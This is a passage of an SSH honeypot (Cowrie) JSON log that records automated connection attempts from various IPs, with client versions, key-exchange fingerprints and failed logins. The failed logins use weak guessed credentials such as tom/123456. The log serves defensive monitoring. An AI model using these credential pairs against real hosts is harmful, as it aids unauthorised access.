-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa","ssh-rsa-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57e4cc8ee36c3d78f75c6a05acd55963","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:00:22.122730Z","src_ip":"172.187.200.190","session":"53023309f5a6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"alma","password":"123456","message":"login attempt [alma/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:00:22.294454Z","src_ip":"172.187.200.190","session":"53023309f5a6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:00:23.382007Z","src_ip":"172.187.200.190","session":"53023309f5a6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.65.30.211","src_port":34560,"dst_ip":"10.17.0.5","dst_port":22,"session":"0a7a1c36ff26","protocol":"ssh","message":"New connection: 159.65.30.211:34560 (10.17.0.5:22) [session: 0a7a1c36ff26]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:00:47.707962Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.1_DEV","message":"Remote SSH version: SSH-2.0-libssh2_1.11.1_DEV","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:00:47.712881Z","src_ip":"159.65.30.211","session":"0a7a1c36ff26","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57e4cc8ee36c3d78f75c6a05acd55963","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa","ssh-rsa-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57e4cc8ee36c3d78f75c6a05acd55963","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:00:47.782075Z","src_ip":"159.65.30.211","session":"0a7a1c36ff26","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"serena","password":"serena","message":"login attempt [serena/serena] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:00:47.925492Z","src_ip":"159.65.30.211","session":"0a7a1c36ff26","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:00:49.007321Z","src_ip":"159.65.30.211","session":"0a7a1c36ff26","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"135.181.101.111","src_port":36754,"dst_ip":"159.203.135.109","dst_port":22,"session":"4bc41fdbf081","protocol":"ssh","message":"New connection: 135.181.101.111:36754 (159.203.135.109:22) [session: 4bc41fdbf081]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:00:57.874174Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.1_DEV","message":"Remote SSH version: SSH-2.0-libssh2_1.11.1_DEV","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:00:57.878842Z","src_ip":"135.181.101.111","session":"4bc41fdbf081","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57e4cc8ee36c3d78f75c6a05acd55963","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa","ssh-rsa-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57e4cc8ee36c3d78f75c6a05acd55963","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:00:57.987085Z","src_ip":"135.181.101.111","session":"4bc41fdbf081","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"finance","password":"123456","message":"login attempt [finance/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:00:58.205746Z","src_ip":"135.181.101.111","session":"4bc41fdbf081","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:00:59.315694Z","src_ip":"135.181.101.111","session":"4bc41fdbf081","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"142.93.139.168","src_port":40450,"dst_ip":"159.203.135.109","dst_port":22,"session":"ce6ab702202a","protocol":"ssh","message":"New connection: 142.93.139.168:40450 (159.203.135.109:22) [session: ce6ab702202a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:01:15.193472Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.1_DEV","message":"Remote SSH version: SSH-2.0-libssh2_1.11.1_DEV","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:01:15.197497Z","src_ip":"142.93.139.168","session":"ce6ab702202a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57e4cc8ee36c3d78f75c6a05acd55963","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa","ssh-rsa-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57e4cc8ee36c3d78f75c6a05acd55963","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:01:15.275904Z","src_ip":"142.93.139.168","session":"ce6ab702202a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"tom","password":"123456","message":"login attempt [tom/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:01:15.435296Z","src_ip":"142.93.139.168","session":"ce6ab702202a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:01:16.515800Z","src_ip":"142.93.139.168","session":"ce6ab702202a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"5.75.240.121","src_port":39742,"dst_ip":"10.17.0.5","dst_port":22,"session":"ec1bb42a5065","protocol":"ssh","message":"New connection: 5.75.240.121:39742 (10.17.0.5:22) [session: ec1bb42a5065]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:03:05.106179Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.1_DEV","message":"Remote SSH version: SSH-2.0-libssh2_1.11.1_DEV","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:03:05.110386Z","src_ip":"5.75.240.121","session":"ec1bb42a5065","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57e4cc8ee36c3d78f75c6a05acd55963","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa","ssh-rsa-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57e4cc8ee36c3d78f75c6a05acd55963","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:03:05.200439Z","src_ip":"5.75.240.121","session":"ec1bb42a5065","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sailer","password":"sailer","message":"login attempt [sailer/sailer] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:03:05.384311Z","src_ip":"5.75.240.121","session":"ec1bb42a5065","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:03:06.476820Z","src_ip":"5.75.240.121","session":"ec1bb42a5065","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"142.93.139.168","src_port":34222,"dst_ip":"10.17.0.5","dst_port":22,"session":"063687fb9926","protocol":"ssh","message":"New connection: 142.93.139.168:34222 (10.17.0.5:22) [session: 063687fb9926]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:03:19.331599Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.1_DEV","message":"Remote SSH version: SSH-2.0-libssh2_1.11.1_DEV","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:03:19.335970Z","src_ip":"142.93.139.168","session":"063687fb9926","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57e4cc8ee36c3d78f75c6a05acd55963","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa","ssh-rsa-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57e4cc8ee36c3d78f75c6a05acd55963","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:03:19.413509Z","src_ip":"142.93.139.168","session":"063687fb9926","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"tom","password":"123456","message":"login attempt [tom/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:03:19.570730Z","src_ip":"142.93.139.168","session":"063687fb9926","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:03:20.649972Z","src_ip":"142.93.139.168","session":"063687fb9926","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.6.86","src_port":51912,"dst_ip":"10.17.0.5","dst_port":22,"session":"4a6b16213539","protocol":"ssh","message":"New connection: 165.154.6.86:51912 (10.17.0.5:22) [session: 4a6b16213539]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:05:00.331860Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:05:00.337680Z","src_ip":"165.154.6.86","session":"4a6b16213539","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:05:00.554978Z","src_ip":"165.154.6.86","session":"4a6b16213539","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"eder","password":"eder","message":"login attempt [eder/eder] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:05:01.453402Z","src_ip":"165.154.6.86","session":"4a6b16213539","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:05:02.675260Z","src_ip":"165.154.6.86","session":"4a6b16213539","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"210.79.191.199","src_port":57088,"dst_ip":"10.17.0.5","dst_port":22,"session":"dfaded30df40","protocol":"ssh","message":"New connection: 210.79.191.199:57088 (10.17.0.5:22) [session: dfaded30df40]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:06:58.988561Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:06:58.992740Z","src_ip":"210.79.191.199","session":"dfaded30df40","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[